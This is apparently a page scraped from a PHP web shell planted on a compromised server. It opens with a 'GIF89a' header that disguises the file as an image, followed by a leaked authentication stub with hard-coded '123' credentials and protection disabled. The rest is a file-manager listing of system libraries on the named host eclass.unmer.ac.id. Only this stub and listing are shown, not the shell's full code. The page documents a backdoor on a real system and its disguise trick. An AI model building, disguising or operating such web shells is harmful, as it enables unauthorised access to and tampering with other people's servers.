GIF89a;
# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';
# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}
# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}
?>
eclass.unmer.ac.id
| Name |
Size |
Modified |
Perms |
Actions |
| libdns-export.so.1102 |
2.20 MB |
October 16 2023 13:26:41. |
0755 |
|
|
| libdns-export.so.1102.1.2 |
2.20 MB |
October 16 2023 13:26:41. |
0755 |
|
|
| libirs-export.so.160 |
44.19 KB |
October 16 2023 13:26:41. |
0755 |
|
|
| libirs-export.so.160.0.5 |
44.19 KB |
October 16 2023 13:26:41. |
0755 |
|
|
| libisc-export.so.169 |
435.63 KB |
October 16 2023 13:26:41. |
0755 |
|
|
| libisc-export.so.169.0.3 |
435.63 KB |
October 16 2023 13:26:41. |
0755 |
|
|
| libisccfg-export.so.160 |
178.30 KB |
October 16 2023 13:26:41. |
0755 |
|
|
| libisccfg-export.so.160.2.1 |
178.30 KB |
October 16 2023 13:26:41. |
0755 |
|
|